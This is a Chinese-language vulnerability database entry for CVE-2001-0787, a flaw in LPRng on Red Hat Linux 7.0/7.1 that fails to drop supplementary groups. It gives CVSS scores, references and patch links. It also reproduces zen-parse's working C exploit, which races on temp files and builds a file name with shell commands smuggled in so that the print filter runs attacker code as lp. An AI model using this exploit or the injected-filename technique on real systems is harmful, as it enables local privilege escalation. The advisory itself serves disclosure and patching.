CVE-2001-0787
CVSS4.6
发布时间 :2001-10-18 00:00:00
修订时间 :2008-09-05 16:24:55
NMCOE    

[原文]LPRng in Red Hat Linux 7.0 and 7.1 does not properly drop memberships in supplemental groups when lowering privileges, which could allow a local user to elevate privileges.


[CNNVD]LPRng降低附加组权限失败漏洞(CNNVD-200110-100)

        CVE(CAN) ID: CVE-2001-0787
        
        
        
        当LPRng守护程序初始化时,没有降低附加组的权限。因此,该守护程序和所有该守护
        
        程序派生的子进程都会保留启动LPRng的进程所在的组。
        
        
        
        在此之前以较低权限运行的进程或程序将以这个附加组的权限运行,而易受攻击的程序
        
        一般都以较低的权限运行,由于没有降低附加组的权限,攻击者就很可能获得这些权
        
        限,甚至是root权限。
        
        
        
        

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:redhat:linux:7.1Red Hat Linux 7.1
cpe:/o:redhat:linux:7.0Red Hat Linux 7.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0787
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0787
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200110-100
(官方数据源) CNNVD

- 其它链接及资源

http://www.redhat.com/support/errata/RHSA-2001-077.html
(UNKNOWN)  REDHAT  RHSA-2001:077
http://xforce.iss.net/static/6703.php
(UNKNOWN)  XF  lprng-supplementary-groups(6703)
http://www.securityfocus.com/bid/2865
(UNKNOWN)  BID  2865
http://www.ciac.org/ciac/bulletins/l-096.shtml
(UNKNOWN)  CIAC  L-096

- 漏洞信息

LPRng降低附加组权限失败漏洞
中危 环境条件错误
2001-10-18 00:00:00 2005-05-02 00:00:00
本地  
        CVE(CAN) ID: CVE-2001-0787
        
        
        
        当LPRng守护程序初始化时,没有降低附加组的权限。因此,该守护程序和所有该守护
        
        程序派生的子进程都会保留启动LPRng的进程所在的组。
        
        
        
        在此之前以较低权限运行的进程或程序将以这个附加组的权限运行,而易受攻击的程序
        
        一般都以较低的权限运行,由于没有降低附加组的权限,攻击者就很可能获得这些权
        
        限,甚至是root权限。
        
        
        
        

- 公告与补丁

        
        
        厂商补丁:
        
        
        
        RedHat已经为此发布了一个安全公告(RHSA-2001:077-05)以及相应补丁程序:
        
        
        http://www.redhat.com/support/errata/index.html

        
        
        
        补丁下载 -
        
        ________________________________________________________________________
        
        
        
        Red Hat Linux 7.0:
        
        
        
        SRPMS:
        
        ftp://updates.redhat.com/7.0/en/os/SRPMS/LPRng-3.7.4-23.src.rpm
        
        
        
        alpha:
        
        ftp://updates.redhat.com/7.0/en/os/alpha/LPRng-3.7.4-23.alpha.rpm
        
        
        
        i386:
        
        ftp://updates.redhat.com/7.0/en/os/i386/LPRng-3.7.4-23.i386.rpm
        
        
        
        Red Hat Linux 7.1:
        
        
        
        SRPMS:
        
        ftp://updates.redhat.com/7.1/en/os/SRPMS/LPRng-3.7.4-23.src.rpm
        
        
        
        i386:
        
        ftp://updates.redhat.com/7.1/en/os/i386/LPRng-3.7.4-23.i386.rpm
        
        
        
        ________________________________________________________________________
        

- 漏洞信息 (20923)

LPRng 3.6.x Failure To Drop Supplementary Groups Vulnerability (EDBID:20923)
unix local
2001-06-07 Verified
0 zen-parse
N/A [点击下载]
source: http://www.securityfocus.com/bid/2865/info


The LPRng software is an enhanced, extended, and portable implementation of the Berkeley LPR print spooler functionality.

When the LPRng daemon is initialized, it fails to drop its supplementary groups. As a result, the daemon and any child processes it spawns will maintain the supplementary groups inherited from the process that started LPRng.

Processes or routines which are meant to be run with lowered privileges will run with these supplementary group privileges. Vulnerable sections of program code are often run with lowered privileges because of susceptibility to attacks. Because they are not dropped, these privileges may be gained by an attacker if LPRng is vulnerable to such attacks.

/********************************************************************
Redhat 7.0 (mebe 7.1 ?)

LPRng-3.7.4-23  (and earlier)  +  tetex-1.0.7-7   (and earlier?)

     Insecure tmp file privilege elevation vulnerability.

Allows uid/gid lp  and  root groups on LPRng-3.6.24 and earlier
Please note:

-rwxr-xr-x    1 lp       lp         444472 Jun 14 22:05 /usr/bin/lpq*
-rwxr-xr-x    1 lp       lp         441624 Jun 14 22:05 /usr/bin/lprm*
-rwxr-xr-x    1 lp       lp         459160 Jun 14 22:05 /usr/bin/lpr*
-rwxr-xr-x    1 lp       lp         448120 Jun 14 22:05 /usr/bin/lpstat*
-rwxr-xr-x    1 lp       lp         448320 Jun 14 22:05 /usr/sbin/lpc*

 this program allows trojan code to be planted on the machine it is
 executed on. 

 tmp file handling done badly in helper application (dvi print filter)
 allows modification to lp config files.
 the configuation file is sourced by the master print filter,
 which is itself a shell script, each time something is printed.
 this makes it possible to insert commands into the configuration file
 by creating a special filename to be included in the file that 
 is created. (see the close(open(" thingee )


Redhat Bugzilla reference:-

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=43342

 --zen-parse 

 requires some fonts get made when its run.
 probably won't be a problem unless someone
 else has tried this exploit.
 just wait 90 days for /var/lib/texmf to clear
 and try again ;]
 or try print something different
 .dvi files are what does the trick.

********************************************************************/

int shake()
{
 int f;
 char r[1000];
 int w;
 f=fopen("/proc/loadavg","r");
 fscanf(f,"%*s %*s %*s %*s %s",r);
 fclose(f);
 w=atoi(r);
 return w;
}
void cow(char *s,char *t,int ofs)
{
 sprintf(s,"/var/lib/texmf/lsR%d.tmp",ofs);
 sprintf(t,"%s/lsR%d.tmp",s,ofs);
}

main()
{
 char s[1000];
 char t[1000];
 int y,i;
 printf("Put the stuff to run as lp:lp in /tmp/hax\n");
 printf("the lpr /usr/share/aspe<tab>/manual.dvi\n");
 printf("when the ! comes up, wait a second, then press control-C.\n\n");
 printf("Then print something.\n\n\n");
 close(open("/var/lib/texmf/cd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd tmp\nexport PATH=.\nhax\nexit 0",65,0666));
 while(1)
 {
  i=shake();
  for(y=-30;y<0;y++)
  {
   cow(s,t,y+i);
   if(!access(t,0))
   { 
    printf("!\n");
    unlink(t);
    symlink("/var/spool/lpd/lp/postscript.cfg",t);
    sleep(1);
   }
  }
 }
}
		

- 漏洞信息

1866
LPRng tmp File Handling Local Privilege Escalation
Local Access Required Race Condition
Loss of Integrity
Exploit Public

- 漏洞描述

- 时间线

2001-06-03 Unknow
2001-06-03 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站